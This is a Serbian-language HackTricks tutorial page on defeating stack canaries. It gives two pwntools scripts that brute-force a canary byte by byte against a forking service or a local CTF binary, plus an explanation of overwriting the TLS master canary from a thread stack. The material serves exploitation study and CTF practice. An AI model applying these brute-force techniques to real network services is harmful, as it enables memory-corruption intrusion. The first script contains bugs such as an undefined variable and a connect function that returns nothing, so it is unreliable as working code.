BF Forked & Threaded Stack Canaries
Reading time: 4 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Ako se suočavate sa binarnim fajlom zaštićenim kanarom i PIE (Position Independent Executable), verovatno treba da pronađete način da ih zaobiđete.
note
Imajte na umu da checksec
možda neće otkriti da je binarni fajl zaštićen kanarom ako je statički kompajliran i nije u stanju da identifikuje funkciju.
Međutim, možete to ručno primetiti ako otkrijete da je vrednost sačuvana na steku na početku poziva funkcije i da se ova vrednost proverava pre izlaska.
Brute force Canary
Najbolji način da se zaobiđe jednostavna kanara je ako je binarni fajl program koji fork-uje dečije procese svaki put kada uspostavite novu vezu s njim (mrežna usluga), jer svaki put kada se povežete s njim biće korišćen isti kanar.
Tada je najbolji način da se zaobiđe kanar jednostavno brute-force-ovati ga karakter po karakter, i možete da utvrdite da li je pogodjena bajt kanara bila tačna proverom da li je program pao ili nastavlja svoj redovni tok. U ovom primeru funkcija brute-force-uje 8 bajtni kanar (x64) i razlikuje između tačno pogodjenog bajta i lošeg bajta samo proveravajući da li je odgovor poslat nazad od strane servera (drugi način u drugoj situaciji mogao bi biti korišćenje try/except):
Primer 1
Ovaj primer je implementiran za 64 bita, ali se lako može implementirati i za 32 bita.
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
Primer 2
Ovo je implementirano za 32 bita, ali se to može lako promeniti na 64 bita.
Takođe, imajte na umu da je za ovaj primer program očekivao prvo bajt koji označava veličinu ulaza i payload.
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
Threads
Threads istog procesa će takođe deliti isti canary token, stoga će biti moguće brute-forcovati canary ako binarni fajl pokreće novu nit svaki put kada se dogodi napad.
Štaviše, overflow bafera u funkciji sa nitima zaštićenoj canary-jem mogao bi se koristiti za modifikaciju glavnog canary-ja koji je sačuvan u TLS-u. To je zato što bi moglo biti moguće doći do memorijske pozicije gde je TLS sačuvan (i stoga, canary) putem bof-a u steku niti.
Kao rezultat, mitigacija je beskorisna jer se provera koristi sa dva canary-ja koja su ista (iako modifikovana).
Ovaj napad je prikazan u pisanju: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads
Pogledajte takođe prezentaciju https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015 koja pominje da se obično TLS čuva putem mmap
i kada se stack niti kreira, takođe se generiše putem mmap
, što može omogućiti overflow kao što je prikazano u prethodnom pisanju.
Other examples & references
- https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
- 64 bita, bez PIE, nx, BF canary, upisati u neku memoriju ROP da pozove
execve
i skoči tamo.